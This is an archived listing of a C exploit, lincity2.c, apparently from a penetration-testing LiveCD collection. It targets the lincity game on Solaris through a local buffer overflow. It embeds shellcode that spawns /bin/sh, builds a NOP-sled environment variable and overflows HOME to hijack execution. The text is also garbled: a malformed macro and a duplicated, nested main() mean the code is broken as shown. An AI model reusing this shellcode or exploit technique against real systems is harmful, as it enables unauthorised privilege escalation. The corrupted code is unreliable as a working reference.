home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lincity2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  86 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. #define HOMESIZE500
  5. #define HUEVOSIZE   5000
  6.  
  7. char *shell =
  8.   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  9.   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  10.   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  11.  
  12. long
  13. esp(void)
  14. {
  15.   __asm__("movl %esp,%eax\n");
  16. }
  17. int
  18. main(void)
  19. {
  20.   char *ptr, *bof, *egg;
  21.   long *addr_ptr, addr;
  22.   int i;
  23.  
  24.   if ( !(bof = malloc(HOMESIZE)) )
  25.     {
  26.       printf("NoMoreMemory4bof.\n");
  27.       exit(1);
  28.     }
  29.  
  30.   if ( !(egg = malloc(HUEVOSIZE)) )
  31.     {
  32.       printf("NoMoreMemory4egg.\n");
  33.       exit(1);
  34.     }
  35.  
  36.   long
  37.   esp(void)
  38.   {
  39.     __asm__("movl %esp,%eax\n");
  40.   }
  41.   int
  42.   main(void)
  43.   {
  44.     char *ptr, *bof, *egg;
  45.     long *addr_ptr, addr;
  46.     int i;
  47.  
  48.     if ( !(bof = malloc(HOMESIZE)) )
  49.       {
  50.         printf("NoMoreMemory4bof.\n");
  51.         exit(1);
  52.       }
  53.  
  54.     if ( !(egg = malloc(HUEVOSIZE)) )
  55.       {
  56.         printf("NoMoreMemory4egg.\n");
  57.         exit(1);
  58.       }
  59.  
  60.     addr = esp();
  61.  
  62.     addr_ptr = (long *) bof;
  63.     for (i = 0; i < HOMESIZE; i += 4)
  64.       *(addr_ptr++) = addr;
  65.  
  66.     ptr = egg;
  67.     for (i = 0; i <= HUEVOSIZE - strlen(shell) - 2; i++)
  68.       *(ptr++) = 0x90;
  69.  
  70.     for( i = 0; i < strlen(shell); i++)
  71.       *(ptr++) = shell[i];
  72.  
  73.     printf("Address:\t0x%x\n", addr);
  74.  
  75.     bof[HOMESIZE - 1] = '\0';
  76.     egg[HUEVOSIZE - 1] = '\0';
  77.  
  78.     memcpy(bof, "BOF=", 4);
  79.     memcpy(egg , "EGG=", 4);
  80.  
  81.     putenv(bof);
  82.     putenv(egg);
  83.  
  84.     system("export HOME=$BOF; /usr/games/lincity");
  85.   }
  86.